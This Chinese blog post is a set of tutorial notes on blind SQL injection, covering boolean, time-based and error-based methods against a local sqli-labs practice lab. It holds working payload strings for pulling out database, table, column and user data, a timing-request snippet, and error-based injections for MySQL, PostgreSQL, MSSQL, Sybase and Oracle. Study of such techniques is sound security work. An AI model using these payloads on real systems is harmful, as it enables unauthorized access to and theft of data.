2024-09-24 00:28阅读: 39评论: 0推荐: 0

布尔盲注

布尔的盲注

MID()函数

SQL MID()函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。

SELECT MID(column_name,start[,length]) FROM table_name;

*用法:

SELECT MID(ColumnName, Start [, Length])
FROM TableName
示例:
mysql> SELECT MID('NowaMagic', 5, 5);
+------------------------+
| MID('NowaMagic', 5, 5) |
+------------------------+
| Magic |
+------------------------+
1 row in set

substr()函数

SELECT SUBSTR(column_name,start[,length]) FROM table_name;

Left()函数

取一个字符串的前若干位

SELECT LEFT(ARG,LENGTH) FROM table_name;

获取数据库名字长度

payload = "and length(database())=%d--+" % i

获取数据库名字

payload = "and mid(database(),1,%d)='%s'--+" % (i, database + chr(j))

获取表名

payload = "and mid((select table_name from information_schema.tables where table_schema='security' limit %d,1),1,%d)='%s'--+" % (i, k, table_names+chr(j))

获取列名

payload = "and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit %d,1),%d,1))='%d'--+" % (i, k, j)

爆自段

payload = "and ascii(mid((select username from security.users limit %d,1),%d,1))='%d'--+" % (i, k, j)


时间的SQL盲注

延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术。

延迟注入主要点是在于if()函数的判断、

if(condition,true,false) //条件语句

  • condition 是判断条件
  • true 和false 是符合condition自定义的返回结果。

本地测试感受一下

mysql> select ascii(mid(database(),1,1));
+----------------------------+
| ascii(mid(database(),1,1)) |
+----------------------------+
| 115 |
+----------------------------+
1 row in set (0.00 sec)
mysql> select if(ascii(mid(database(),1,1))=115,sleep(5),1);
+-----------------------------------------------+
| if(ascii(mid(database(),1,1))=115,sleep(5),1) |
+-----------------------------------------------+
| 0 |
+-----------------------------------------------+
1 row in set (5.01 sec)
mysql> select if(ascii(mid(database(),1,1))=114,sleep(5),1);
+-----------------------------------------------+
| if(ascii(mid(database(),1,1))=114,sleep(5),1) |
+-----------------------------------------------+
| 1 |
+-----------------------------------------------+
1 row in set (0.00 sec)

++如果condition判断为正确,则产生延迟,否则不产生延迟。
至于脚本,修改下上面的脚本进行判断即可。++

url = "http://192.168.2.100/sqli-labs/Less-9/?id="
esndStr = " and sleep(3))--+"
payload = "1' and ((ascii(mid((select " + column_name + " from " + database_name + "." + table_name + " limit " + Result + ",1)," + Char + ",1))>" + mid + ")"
tempurl = url + payload + esndStr
before_time = time.time()
requests.head(tempurl)
after_time = time.time()
use_time = after_time - before_time
if abs(use_time) < 0.1:
return True
else:
return False

报错的sql盲注

如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。

比如在mysql中我们可以使用如下的经典语句进行报错。

select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
这是网上流传很广的一个版本,可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

其实这是mysql的一个bug所引起的,其他数据库都不会因为这个问题而报错。

另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

而在其他数据库中也可以使用不同的方法构成报错

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

本文作者:℡回眸抹去乄殘鎦、的繁星

本文链接:https://www.cnblogs.com/NBeveryday/p/18428221/SQLb

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   菜就多练forever  阅读(39)  评论(0)    收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起